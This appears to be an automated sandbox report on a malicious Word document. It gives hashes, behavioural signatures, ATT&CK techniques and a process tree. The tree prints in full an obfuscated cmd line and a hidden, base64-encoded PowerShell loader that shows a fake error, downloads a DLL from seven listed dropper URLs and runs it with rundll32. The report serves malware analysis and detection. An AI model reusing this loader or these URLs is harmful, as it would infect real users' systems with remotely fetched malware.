686bb0faa8e805bb193c3063c7fb3993551c8e81ee47af536bcbd3ea0afa70d6

General

Target

Inf-20210113-RRQ4296.doc
Size

156KB
MD5

3a5678052145f087c13cb48c90c42a9f
SHA1

7b48570b487963b774951124aca732d096409cae
SHA256

e5f4c0869a8a4f10e85cf0ee7799f053402929df853f25d2215271061395fc3a
SHA512

bcd441a7a736fd1b22d731672f2ddefdf36dadcc3b3961a2e3b19e4bc3813837d8591ae0e5480c736db151f489c745de7d33c6ae75636d4f380a1cc885c29b5e

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://baselinealameda.com/j/uoB/

exe.dropper

http://abdindash.xyz/b/Yonhx/

exe.dropper

https://cavallarigutters.com/samsung-chromebook-etswp/Wdeiub/

exe.dropper

https://craku.tech/h/iXbreOs/

exe.dropper

https://nicoblogroms.com/c/V9w0b5/

exe.dropper

https://www.taradhuay.com/d/oT5uG/

exe.dropper

https://altcomconstruction.com/wp-includes/or7/

Signatures

Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2576 2748 cmd.exe
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exerundll32.exe

flow pid process

14 3180 powershell.exe
29 1732 rundll32.exe
Loads dropped DLL 1 IoCs

Processes:

rundll32.exe

pid process

1116 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Ursufcrguprb\mxynxqgjcvv.ryr rundll32.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2576	2748	cmd.exe

flow	pid	process
14	3180	powershell.exe
29	1732	rundll32.exe

pid	process
1116	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Ursufcrguprb\mxynxqgjcvv.ryr	rundll32.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3008 WINWORD.EXE
3008 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 7 IoCs

Processes:

powershell.exerundll32.exe

pid process

3180 powershell.exe
3180 powershell.exe
3180 powershell.exe
1732 rundll32.exe
1732 rundll32.exe
1732 rundll32.exe
1732 rundll32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 3180 powershell.exe

pid	process
3180	powershell.exe
3180	powershell.exe
3180	powershell.exe
1732	rundll32.exe
1732	rundll32.exe
1732	rundll32.exe
1732	rundll32.exe

description	pid	process
Token: SeDebugPrivilege	3180	powershell.exe

Suspicious use of SetWindowsHookEx 10 IoCs

Processes:

WINWORD.EXE

pid	process
3008	WINWORD.EXE
3008	WINWORD.EXE
3008	WINWORD.EXE
3008	WINWORD.EXE
3008	WINWORD.EXE
3008	WINWORD.EXE
3008	WINWORD.EXE
3008	WINWORD.EXE
3008	WINWORD.EXE
3008	WINWORD.EXE

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

cmd.exepowershell.exerundll32.exerundll32.exe

description	pid	process	target process
PID 2576 wrote to memory of 3188	2576	cmd.exe	msg.exe
PID 2576 wrote to memory of 3188	2576	cmd.exe	msg.exe
PID 2576 wrote to memory of 3180	2576	cmd.exe	powershell.exe
PID 2576 wrote to memory of 3180	2576	cmd.exe	powershell.exe
PID 3180 wrote to memory of 3976	3180	powershell.exe	rundll32.exe
PID 3180 wrote to memory of 3976	3180	powershell.exe	rundll32.exe
PID 3976 wrote to memory of 1116	3976	rundll32.exe	rundll32.exe
PID 3976 wrote to memory of 1116	3976	rundll32.exe	rundll32.exe
PID 3976 wrote to memory of 1116	3976	rundll32.exe	rundll32.exe
PID 1116 wrote to memory of 1732	1116	rundll32.exe	rundll32.exe
PID 1116 wrote to memory of 1732	1116	rundll32.exe	rundll32.exe
PID 1116 wrote to memory of 1732	1116	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Inf-20210113-RRQ4296.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3008

C:\Windows\system32\cmd.exe
cmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc IABTAGUAVAAtAEkAdABlAE0AIAAgAHYAQQByAEkAQQBCAEwAZQA6ADMANgA1ACAAKABbAFQAeQBwAGUAXQAoACIAewAxAH0AewAzAH0AewAwAH0AewA1AH0AewAyAH0AewA0AH0AIgAtAEYAJwAuAGkAJwAsACcAUwB5ACcALAAnAHQAbwAnACwAJwBzAFQAZQBtACcALAAnAFIAWQAnACwAJwBPAC4ARABJAHIAZQBDACcAKQApACAAOwAgACQARAA2ADkAMgB3ACAAPQAgACAAWwBUAHkAcABFAF0AKAAiAHsAMwB9AHsAMAB9AHsAOAB9AHsANwB9AHsANQB9AHsAMQB9AHsAMgB9AHsANgB9AHsANAB9ACIAIAAtAGYAJwB5ACcALAAnAEMAJwAsACcARQBwAE8AJwAsACcAUwAnACwAJwByACcALAAnAEUAUgBWAEkAJwAsACcAaQBOAHQATQBBAG4AQQBnAGUAJwAsACcAUwAnACwAJwBTAHQARQBNAC4AbgBFAFQALgAnACkAIAA7ACAAJABWAGYANQBhAHMAaQByAD0AJABFADMAMABMACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABBADEAOABFADsAJABXADkANQBSAD0AKAAoACcARQA3ACcAKwAnADMAJwApACsAJwBMACcAKQA7ACAAIAAoAHYAQQBSAEkAYQBCAGwAZQAgADMANgA1ACkALgB2AGEAbABVAEUAOgA6ACIAQwBgAFIAZQBBAGAAVABgAGUAZABJAFIAZQBDAHQAbwBgAFIAWQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAoACcAdQBHACcAKwAnAE4ATQAnACkAKwAoACcAdgAnACsAJwA4AF8AJwApACsAJwBuACcAKwAoACcAawA3ACcAKwAnAHUARwAnACsAJwBOAEgAXwAnACsAJwBpADQAYgB4ACcAKQArACgAJwBxAHUARwAnACsAJwBOACcAKQApAC4AIgBSAEUAcABsAGAAQQBgAGMARQAiACgAKAAnAHUARwAnACsAJwBOACcAKQAsACcAXAAnACkAKQApADsAJABTAF8ANABCAD0AKAAnAEYANwAnACsAJwAxAEUAJwApADsAIAAgACgAIAAgAGcARQB0AC0AQwBoAEkAbABEAGkAdABFAE0AIAAgACgAIgBWAEEAIgArACIAUgBJAGEAIgArACIAYgBsAGUAOgBkADYAOQAyAFcAIgApACAAIAApAC4AVgBhAEwAVQBFADoAOgAiAFMAZQBgAGMAVQBgAFIAaQBUAFkAUABSAE8AYABUAG8AYABjAG8ATAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQATAAzADgAUAA9ACgAJwBIADUAJwArACcAMQBMACcAKQA7ACQASQBtAGEANgBhAG8ANQAgAD0AIAAoACcATwAzACcAKwAnADAAQQAnACkAOwAkAEQANQA3AEkAPQAoACcARgAwACcAKwAnADMARwAnACkAOwAkAEsAYwBpADgANAB4ADAAPQAkAEgATwBNAEUAKwAoACgAKAAnAHIAaAAnACsAJwAyACcAKQArACgAJwBNACcAKwAnAHYAOAAnACkAKwAnAF8AJwArACgAJwBuAGsANwByAGgAMgAnACsAJwBIAF8AaQAnACkAKwAoACcANABiACcAKwAnAHgAJwApACsAKAAnAHEAcgBoACcAKwAnADIAJwApACkALgAiAHIAZQBQAGAAbABBAGMAZQAiACgAKAAnAHIAJwArACcAaAAyACcAKQAsACcAXAAnACkAKQArACQASQBtAGEANgBhAG8ANQArACgAJwAuACcAKwAoACcAZAAnACsAJwBsAGwAJwApACkAOwAkAEYAMAA5AFoAPQAoACcATABfACcAKwAnADcARAAnACkAOwAkAFcAZgAwAGcANAB3ADYAPQAoACgAJwB3ACcAKwAnAF0AeABtAFsAJwApACsAKAAnAHYAJwArACcAOgAvACcAKQArACcALwAnACsAKAAnAGIAYQBzAGUAJwArACcAbAAnACkAKwAnAGkAJwArACgAJwBuACcAKwAnAGUAYQAnACkAKwAoACcAbABhAG0AZQAnACsAJwBkAGEALgAnACsAJwBjAG8AbQAnACkAKwAoACcALwBqACcAKwAnAC8AdQBvAEIALwBAAHcAXQB4ACcAKwAnAG0AWwB2ACcAKwAnADoALwAvACcAKwAnAGEAJwApACsAKAAnAGIAZABpACcAKwAnAG4AZAAnACkAKwAoACcAYQAnACsAJwBzAGgALgAnACkAKwAoACcAeAAnACsAJwB5AHoAJwApACsAJwAvACcAKwAoACcAYgAnACsAJwAvAFkAJwApACsAKAAnAG8AbgBoAHgALwBAACcAKwAnAHcAJwArACcAXQAnACkAKwAoACcAeAAnACsAJwBtAFsAdgAnACsAJwBzADoALwAvAGMAJwArACcAYQAnACkAKwAoACcAdgBhAGwAbABhAHIAJwArACcAaQBnAHUAJwArACcAdAB0AGUAJwApACsAKAAnAHIAcwAuACcAKwAnAGMAbwBtACcAKQArACgAJwAvAHMAYQAnACsAJwBtAHMAdQAnACkAKwAoACcAbgBnAC0AJwArACcAYwAnACkAKwAoACcAaAByAG8AbQBlAGIAbwAnACsAJwBvAGsAJwArACcALQAnACsAJwBlAHQAcwAnACsAJwB3AHAAJwArACcALwAnACkAKwAoACcAVwBkAGUAJwArACcAaQB1AGIAJwApACsAJwAvACcAKwAoACcAQAAnACsAJwB3AF0AJwApACsAKAAnAHgAbQAnACsAJwBbAHYAcwA6ACcAKwAnAC8ALwBjACcAKQArACgAJwByACcAKwAnAGEAawB1AC4AJwArACcAdABlAGMAaAAvAGgAJwApACsAKAAnAC8AaQAnACsAJwBYAGIAcgAnACsAJwBlAE8AJwApACsAJwBzAC8AJwArACgAJwBAAHcAJwArACcAXQB4AG0AWwB2ACcAKwAnAHMAOgAvAC8AbgBpACcAKwAnAGMAJwApACsAJwBvACcAKwAoACcAYgAnACsAJwBsAG8AZwByAG8AbQAnACkAKwAoACcAcwAuAGMAJwArACcAbwBtAC8AYwAvAFYAJwArACcAOQB3ADAAYgAnACkAKwAoACcANQAvAEAAdwBdAHgAJwArACcAbQAnACsAJwBbACcAKQArACgAJwB2ACcAKwAnAHMAOgAvACcAKQArACgAJwAvACcAKwAnAHcAdwAnACsAJwB3AC4AdABhACcAKQArACgAJwByACcAKwAnAGEAZAAnACkAKwAoACcAaAB1AGEAJwArACcAeQAnACkAKwAnAC4AJwArACgAJwBjAG8AbQAvACcAKwAnAGQAJwArACcALwBvAFQANQB1ACcAKwAnAEcALwAnACsAJwBAAHcAXQB4AG0AWwAnACkAKwAnAHYAJwArACcAcwA6ACcAKwAoACcALwAnACsAJwAvAGEAbAB0ACcAKwAnAGMAbwBtAGMAbwAnACsAJwBuACcAKQArACgAJwBzAHQAcgB1ACcAKwAnAGMAJwArACcAdAAnACkAKwAoACcAaQBvAG4ALgBjAG8AJwArACcAbQAnACsAJwAvACcAKQArACgAJwB3AHAAJwArACcALQBpAG4AYwBsACcAKQArACgAJwB1AGQAZQAnACsAJwBzAC8AJwApACsAKAAnAG8AJwArACcAcgA3ACcAKQArACcALwAnACkALgAiAFIAYABlAHAAbABhAEMAZQAiACgAKAAoACcAdwAnACsAJwBdAHgAJwApACsAJwBtAFsAJwArACcAdgAnACkALAAoAFsAYQByAHIAYQB5AF0AKAAoACgAJwBkACcAKwAnAHMAZQB3ACcAKQArACcAZgAnACkALAAoACgAJwB3AGUAJwArACcAdgB3ACcAKQArACcAZQAnACkAKQAsACgAKAAnAGEAJwArACcAZQBmACcAKQArACcAZgAnACkALAAoACcAaAB0ACcAKwAnAHQAcAAnACkAKQBbADIAXQApAC4AIgBzAGAAUABMAGkAVAAiACgAJABSADEAMABXACAAKwAgACQAVgBmADUAYQBzAGkAcgAgACsAIAAkAFUANwA5AFoAKQA7ACQATgAyADQAUQA9ACgAJwBWACcAKwAoACcAXwA4ACcAKwAnAEMAJwApACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEMAXwA1AHoANwBqAHkAIABpAG4AIAAkAFcAZgAwAGcANAB3ADYAKQB7AHQAcgB5AHsAKAAmACgAJwBOAGUAdwAtACcAKwAnAE8AJwArACcAYgBqACcAKwAnAGUAYwB0ACcAKQAgAFMAeQBTAFQARQBNAC4AbgBFAHQALgB3AEUAQgBjAGwASQBFAE4AVAApAC4AIgBkAE8AdwBgAE4ATABPAGEARABgAEYAaQBMAGUAIgAoACQAQwBfADUAegA3AGoAeQAsACAAJABLAGMAaQA4ADQAeAAwACkAOwAkAFAAXwA2AEMAPQAoACgAJwBLADcAJwArACcAMQAnACkAKwAnAEIAJwApADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQAnACsAJwB0AC0ASQB0AGUAbQAnACkAIAAkAEsAYwBpADgANAB4ADAAKQAuACIATABlAG4ARwBgAFQASAAiACAALQBnAGUAIAA0ADkAOQA3ADIAKQAgAHsALgAoACcAcgB1AG4AZABsACcAKwAnAGwAMwAnACsAJwAyACcAKQAgACQASwBjAGkAOAA0AHgAMAAsACgAKAAnAFMAaABvAHcAJwArACcARABpACcAKQArACcAYQAnACsAJwBsACcAKwAoACcAbwAnACsAJwBnAEEAJwApACkALgAiAFQAbwBzAGAAVABgAFIASQBuAEcAIgAoACkAOwAkAFEAOAAyAFQAPQAoACcATwA5ACcAKwAnAF8ARwAnACkAOwBiAHIAZQBhAGsAOwAkAEMAMwA3AFoAPQAoACcATgAyACcAKwAnADgATwAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEgANQA0AEgAPQAoACgAJwBPADkAJwArACcAMwAnACkAKwAnAFoAJwApAA==
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2576

C:\Windows\system32\msg.exe
msg Admin /v Word experienced an error trying to open the file.
2⤵
PID:3188

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -w hidden -enc IABTAGUAVAAtAEkAdABlAE0AIAAgAHYAQQByAEkAQQBCAEwAZQA6ADMANgA1ACAAKABbAFQAeQBwAGUAXQAoACIAewAxAH0AewAzAH0AewAwAH0AewA1AH0AewAyAH0AewA0AH0AIgAtAEYAJwAuAGkAJwAsACcAUwB5ACcALAAnAHQAbwAnACwAJwBzAFQAZQBtACcALAAnAFIAWQAnACwAJwBPAC4ARABJAHIAZQBDACcAKQApACAAOwAgACQARAA2ADkAMgB3ACAAPQAgACAAWwBUAHkAcABFAF0AKAAiAHsAMwB9AHsAMAB9AHsAOAB9AHsANwB9AHsANQB9AHsAMQB9AHsAMgB9AHsANgB9AHsANAB9ACIAIAAtAGYAJwB5ACcALAAnAEMAJwAsACcARQBwAE8AJwAsACcAUwAnACwAJwByACcALAAnAEUAUgBWAEkAJwAsACcAaQBOAHQATQBBAG4AQQBnAGUAJwAsACcAUwAnACwAJwBTAHQARQBNAC4AbgBFAFQALgAnACkAIAA7ACAAJABWAGYANQBhAHMAaQByAD0AJABFADMAMABMACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABBADEAOABFADsAJABXADkANQBSAD0AKAAoACcARQA3ACcAKwAnADMAJwApACsAJwBMACcAKQA7ACAAIAAoAHYAQQBSAEkAYQBCAGwAZQAgADMANgA1ACkALgB2AGEAbABVAEUAOgA6ACIAQwBgAFIAZQBBAGAAVABgAGUAZABJAFIAZQBDAHQAbwBgAFIAWQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAoACcAdQBHACcAKwAnAE4ATQAnACkAKwAoACcAdgAnACsAJwA4AF8AJwApACsAJwBuACcAKwAoACcAawA3ACcAKwAnAHUARwAnACsAJwBOAEgAXwAnACsAJwBpADQAYgB4ACcAKQArACgAJwBxAHUARwAnACsAJwBOACcAKQApAC4AIgBSAEUAcABsAGAAQQBgAGMARQAiACgAKAAnAHUARwAnACsAJwBOACcAKQAsACcAXAAnACkAKQApADsAJABTAF8ANABCAD0AKAAnAEYANwAnACsAJwAxAEUAJwApADsAIAAgACgAIAAgAGcARQB0AC0AQwBoAEkAbABEAGkAdABFAE0AIAAgACgAIgBWAEEAIgArACIAUgBJAGEAIgArACIAYgBsAGUAOgBkADYAOQAyAFcAIgApACAAIAApAC4AVgBhAEwAVQBFADoAOgAiAFMAZQBgAGMAVQBgAFIAaQBUAFkAUABSAE8AYABUAG8AYABjAG8ATAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQATAAzADgAUAA9ACgAJwBIADUAJwArACcAMQBMACcAKQA7ACQASQBtAGEANgBhAG8ANQAgAD0AIAAoACcATwAzACcAKwAnADAAQQAnACkAOwAkAEQANQA3AEkAPQAoACcARgAwACcAKwAnADMARwAnACkAOwAkAEsAYwBpADgANAB4ADAAPQAkAEgATwBNAEUAKwAoACgAKAAnAHIAaAAnACsAJwAyACcAKQArACgAJwBNACcAKwAnAHYAOAAnACkAKwAnAF8AJwArACgAJwBuAGsANwByAGgAMgAnACsAJwBIAF8AaQAnACkAKwAoACcANABiACcAKwAnAHgAJwApACsAKAAnAHEAcgBoACcAKwAnADIAJwApACkALgAiAHIAZQBQAGAAbABBAGMAZQAiACgAKAAnAHIAJwArACcAaAAyACcAKQAsACcAXAAnACkAKQArACQASQBtAGEANgBhAG8ANQArACgAJwAuACcAKwAoACcAZAAnACsAJwBsAGwAJwApACkAOwAkAEYAMAA5AFoAPQAoACcATABfACcAKwAnADcARAAnACkAOwAkAFcAZgAwAGcANAB3ADYAPQAoACgAJwB3ACcAKwAnAF0AeABtAFsAJwApACsAKAAnAHYAJwArACcAOgAvACcAKQArACcALwAnACsAKAAnAGIAYQBzAGUAJwArACcAbAAnACkAKwAnAGkAJwArACgAJwBuACcAKwAnAGUAYQAnACkAKwAoACcAbABhAG0AZQAnACsAJwBkAGEALgAnACsAJwBjAG8AbQAnACkAKwAoACcALwBqACcAKwAnAC8AdQBvAEIALwBAAHcAXQB4ACcAKwAnAG0AWwB2ACcAKwAnADoALwAvACcAKwAnAGEAJwApACsAKAAnAGIAZABpACcAKwAnAG4AZAAnACkAKwAoACcAYQAnACsAJwBzAGgALgAnACkAKwAoACcAeAAnACsAJwB5AHoAJwApACsAJwAvACcAKwAoACcAYgAnACsAJwAvAFkAJwApACsAKAAnAG8AbgBoAHgALwBAACcAKwAnAHcAJwArACcAXQAnACkAKwAoACcAeAAnACsAJwBtAFsAdgAnACsAJwBzADoALwAvAGMAJwArACcAYQAnACkAKwAoACcAdgBhAGwAbABhAHIAJwArACcAaQBnAHUAJwArACcAdAB0AGUAJwApACsAKAAnAHIAcwAuACcAKwAnAGMAbwBtACcAKQArACgAJwAvAHMAYQAnACsAJwBtAHMAdQAnACkAKwAoACcAbgBnAC0AJwArACcAYwAnACkAKwAoACcAaAByAG8AbQBlAGIAbwAnACsAJwBvAGsAJwArACcALQAnACsAJwBlAHQAcwAnACsAJwB3AHAAJwArACcALwAnACkAKwAoACcAVwBkAGUAJwArACcAaQB1AGIAJwApACsAJwAvACcAKwAoACcAQAAnACsAJwB3AF0AJwApACsAKAAnAHgAbQAnACsAJwBbAHYAcwA6ACcAKwAnAC8ALwBjACcAKQArACgAJwByACcAKwAnAGEAawB1AC4AJwArACcAdABlAGMAaAAvAGgAJwApACsAKAAnAC8AaQAnACsAJwBYAGIAcgAnACsAJwBlAE8AJwApACsAJwBzAC8AJwArACgAJwBAAHcAJwArACcAXQB4AG0AWwB2ACcAKwAnAHMAOgAvAC8AbgBpACcAKwAnAGMAJwApACsAJwBvACcAKwAoACcAYgAnACsAJwBsAG8AZwByAG8AbQAnACkAKwAoACcAcwAuAGMAJwArACcAbwBtAC8AYwAvAFYAJwArACcAOQB3ADAAYgAnACkAKwAoACcANQAvAEAAdwBdAHgAJwArACcAbQAnACsAJwBbACcAKQArACgAJwB2ACcAKwAnAHMAOgAvACcAKQArACgAJwAvACcAKwAnAHcAdwAnACsAJwB3AC4AdABhACcAKQArACgAJwByACcAKwAnAGEAZAAnACkAKwAoACcAaAB1AGEAJwArACcAeQAnACkAKwAnAC4AJwArACgAJwBjAG8AbQAvACcAKwAnAGQAJwArACcALwBvAFQANQB1ACcAKwAnAEcALwAnACsAJwBAAHcAXQB4AG0AWwAnACkAKwAnAHYAJwArACcAcwA6ACcAKwAoACcALwAnACsAJwAvAGEAbAB0ACcAKwAnAGMAbwBtAGMAbwAnACsAJwBuACcAKQArACgAJwBzAHQAcgB1ACcAKwAnAGMAJwArACcAdAAnACkAKwAoACcAaQBvAG4ALgBjAG8AJwArACcAbQAnACsAJwAvACcAKQArACgAJwB3AHAAJwArACcALQBpAG4AYwBsACcAKQArACgAJwB1AGQAZQAnACsAJwBzAC8AJwApACsAKAAnAG8AJwArACcAcgA3ACcAKQArACcALwAnACkALgAiAFIAYABlAHAAbABhAEMAZQAiACgAKAAoACcAdwAnACsAJwBdAHgAJwApACsAJwBtAFsAJwArACcAdgAnACkALAAoAFsAYQByAHIAYQB5AF0AKAAoACgAJwBkACcAKwAnAHMAZQB3ACcAKQArACcAZgAnACkALAAoACgAJwB3AGUAJwArACcAdgB3ACcAKQArACcAZQAnACkAKQAsACgAKAAnAGEAJwArACcAZQBmACcAKQArACcAZgAnACkALAAoACcAaAB0ACcAKwAnAHQAcAAnACkAKQBbADIAXQApAC4AIgBzAGAAUABMAGkAVAAiACgAJABSADEAMABXACAAKwAgACQAVgBmADUAYQBzAGkAcgAgACsAIAAkAFUANwA5AFoAKQA7ACQATgAyADQAUQA9ACgAJwBWACcAKwAoACcAXwA4ACcAKwAnAEMAJwApACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEMAXwA1AHoANwBqAHkAIABpAG4AIAAkAFcAZgAwAGcANAB3ADYAKQB7AHQAcgB5AHsAKAAmACgAJwBOAGUAdwAtACcAKwAnAE8AJwArACcAYgBqACcAKwAnAGUAYwB0ACcAKQAgAFMAeQBTAFQARQBNAC4AbgBFAHQALgB3AEUAQgBjAGwASQBFAE4AVAApAC4AIgBkAE8AdwBgAE4ATABPAGEARABgAEYAaQBMAGUAIgAoACQAQwBfADUAegA3AGoAeQAsACAAJABLAGMAaQA4ADQAeAAwACkAOwAkAFAAXwA2AEMAPQAoACgAJwBLADcAJwArACcAMQAnACkAKwAnAEIAJwApADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQAnACsAJwB0AC0ASQB0AGUAbQAnACkAIAAkAEsAYwBpADgANAB4ADAAKQAuACIATABlAG4ARwBgAFQASAAiACAALQBnAGUAIAA0ADkAOQA3ADIAKQAgAHsALgAoACcAcgB1AG4AZABsACcAKwAnAGwAMwAnACsAJwAyACcAKQAgACQASwBjAGkAOAA0AHgAMAAsACgAKAAnAFMAaABvAHcAJwArACcARABpACcAKQArACcAYQAnACsAJwBsACcAKwAoACcAbwAnACsAJwBnAEEAJwApACkALgAiAFQAbwBzAGAAVABgAFIASQBuAEcAIgAoACkAOwAkAFEAOAAyAFQAPQAoACcATwA5ACcAKwAnAF8ARwAnACkAOwBiAHIAZQBhAGsAOwAkAEMAMwA3AFoAPQAoACcATgAyACcAKwAnADgATwAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEgANQA0AEgAPQAoACgAJwBPADkAJwArACcAMwAnACkAKwAnAFoAJwApAA==
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3180

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Mv8_nk7\H_i4bxq\O30A.dll,ShowDialogA
3⤵
- Suspicious use of WriteProcessMemory
PID:3976

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Mv8_nk7\H_i4bxq\O30A.dll,ShowDialogA
4⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1116

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Ursufcrguprb\mxynxqgjcvv.ryr",ShowDialogA
5⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:1732

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\Mv8_nk7\H_i4bxq\O30A.dll
MD5
95da6e0e42333911c84b6999b2352578

SHA1
0e1057679f1eb344fd273d9fd8e8644c944d0161

SHA256
c51d0ead092e4f30a7fcef88d1bf22fad10ee9fe1c7f482105f2ee45ef65187f

SHA512
ed74800b75208570dbe5c1f14ae11851ff2f8c6ba02f33cd903b95199626c8a7cae8cc5ace8892a2bf0a5046a657f44c7cc82853dee908b7e50959d7aab07b7b

Download Submit
\Users\Admin\Mv8_nk7\H_i4bxq\O30A.dll
MD5
95da6e0e42333911c84b6999b2352578

SHA1
0e1057679f1eb344fd273d9fd8e8644c944d0161

SHA256
c51d0ead092e4f30a7fcef88d1bf22fad10ee9fe1c7f482105f2ee45ef65187f

SHA512
ed74800b75208570dbe5c1f14ae11851ff2f8c6ba02f33cd903b95199626c8a7cae8cc5ace8892a2bf0a5046a657f44c7cc82853dee908b7e50959d7aab07b7b

Download Submit
memory/1116-10-0x0000000000000000-mapping.dmp

Download
memory/1732-12-0x0000000000000000-mapping.dmp

Download
memory/3008-2-0x0000025671F00000-0x0000025672537000-memory.dmp

Filesize
6.2MB

Download
memory/3180-4-0x0000000000000000-mapping.dmp

Download
memory/3180-5-0x00007FF812AC0000-0x00007FF8134AC000-memory.dmp

Filesize
9.9MB

Download
memory/3180-6-0x000002336EFF0000-0x000002336EFF1000-memory.dmp

Filesize
4KB

Download
memory/3180-7-0x000002336F1A0000-0x000002336F1A1000-memory.dmp

Filesize
4KB

Download
memory/3188-3-0x0000000000000000-mapping.dmp

Download
memory/3976-8-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads